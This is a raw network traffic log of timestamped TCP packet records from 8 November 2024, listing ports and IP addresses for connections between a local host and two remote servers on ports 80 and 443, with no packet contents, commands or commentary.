Nov 8, 2024 15:21:19.601473093 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601483107 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.601485968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601528883 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.601555109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601568937 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601640940 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.601661921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601674080 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601701021 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.601726055 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.601727009 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601738930 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601769924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601783991 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.601811886 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.601828098 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601871967 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.601938009 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601957083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.601999044 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.602045059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602086067 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.602094889 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602106094 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602132082 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.602163076 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.602175951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602188110 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602229118 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.602243900 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602293968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602346897 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.602380991 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602391958 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602402925 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602415085 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602423906 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.602457047 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.602499008 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602529049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602557898 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.602581024 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.602583885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602596998 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602610111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602637053 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.602664948 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.602708101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602718115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.602757931 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.641247034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.641295910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.641304016 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.641309023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.641323090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.641335964 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.641356945 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.691412926 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.691427946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.691438913 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.691452026 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.691503048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.691560030 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.699273109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.699299097 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.699310064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.699333906 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.699352026 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.756275892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.756294966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.756326914 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.756344080 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.756351948 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.756356955 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.756388903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.756417036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.756441116 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.756448984 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.756484985 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.756531954 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.756542921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.756555080 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.756576061 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.756598949 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.756654978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.756691933 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.756931067 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.756966114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.757002115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.757014036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.757044077 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.757136106 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.757148027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.757178068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.757262945 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.757273912 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.757286072 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.757308960 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.757337093 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.757435083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.757452011 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.757464886 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.757471085 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.757489920 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.757508039 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.757545948 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.757833958 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.797363043 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.797384977 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.797394991 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.797413111 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.797449112 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.845551968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.845576048 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.845587015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.845626116 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.845674992 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.845690966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.845751047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.845756054 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.845761061 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.845797062 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.853843927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.853868961 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.853878975 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.853915930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.853971004 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.910820007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.910837889 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.910860062 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.910896063 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.910933971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.910944939 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.910953999 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.910959005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.910970926 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.910981894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.910988092 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.911022902 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.911108017 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.911153078 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.911185026 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.911195040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.911230087 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.911262035 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.911272049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.911283016 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.911319971 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.911329031 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.911392927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.911403894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.911438942 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.911442995 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.911531925 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.911544085 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.911556005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.911571980 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.911587954 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.960148096 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:19.965106964 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:19.967509031 CET	443	49831	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:19.967802048 CET	49831	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:19.967818022 CET	443	49831	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:19.968807936 CET	443	49831	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:19.968883038 CET	49831	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:19.969213963 CET	49831	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:19.969280958 CET	443	49831	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:19.969384909 CET	49831	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:19.969394922 CET	443	49831	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.019541979 CET	49831	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.099749088 CET	443	49831	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.099786043 CET	443	49831	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.099857092 CET	443	49831	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.099858046 CET	49831	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.099917889 CET	49831	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.101186991 CET	49831	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.101208925 CET	443	49831	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.108808994 CET	49832	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.108840942 CET	443	49832	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.108973026 CET	49832	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.109230042 CET	49832	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.109244108 CET	443	49832	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.237143040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237169027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237174988 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237246037 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237257004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237286091 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.237335920 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237369061 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237380028 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237391949 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.237391949 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.237432957 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237443924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237446070 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.237458944 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.237509966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237510920 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.237521887 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237679005 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.237698078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237709999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237720013 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237730980 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237737894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237759113 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.237814903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.237860918 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.237965107 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.237974882 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238029957 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238039970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238050938 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238087893 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.238171101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238184929 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238198042 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238225937 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.238296032 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238307953 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238320112 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238327026 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.238373041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.238373041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.238539934 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238553047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238564968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238683939 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.238694906 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238708019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238718033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238745928 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.238821030 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238832951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.238867998 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.239173889 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.391948938 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392002106 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392026901 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392066956 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392091036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392102957 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392113924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392143965 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392143965 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392322063 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392380953 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392390966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392400026 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392410040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392433882 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392433882 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392507076 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392528057 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392539978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392550945 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392568111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392580986 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392596006 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392638922 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392638922 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392786980 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392802000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392812967 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392864943 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392864943 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392916918 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392927885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392939091 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.392966986 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.392966986 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.393052101 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.393112898 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.393125057 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.393179893 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.393251896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.393268108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.393277884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.393291950 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.393291950 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.393311024 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.393321991 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.393332005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.393341064 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.393341064 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.393496990 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.393615961 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.393627882 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.393677950 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.393677950 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.393775940 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.393793106 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.393827915 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.393984079 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.433330059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.433357000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.433367014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.435717106 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.546710014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.546729088 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547147989 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.547451019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547498941 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547518015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547533035 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.547576904 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.547578096 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.547609091 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547621012 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547632933 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547646046 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547705889 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.547705889 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.547812939 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547827959 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547944069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547955036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547966957 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547979116 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.547990084 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.547991037 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548003912 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548022032 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548032999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548043966 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.548043966 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.548121929 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.548271894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548340082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548352957 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548412085 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.548412085 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.548453093 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548465014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548475981 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548489094 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548496962 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.548652887 CET	80	49753	185.215.113.206	192.168.2.8
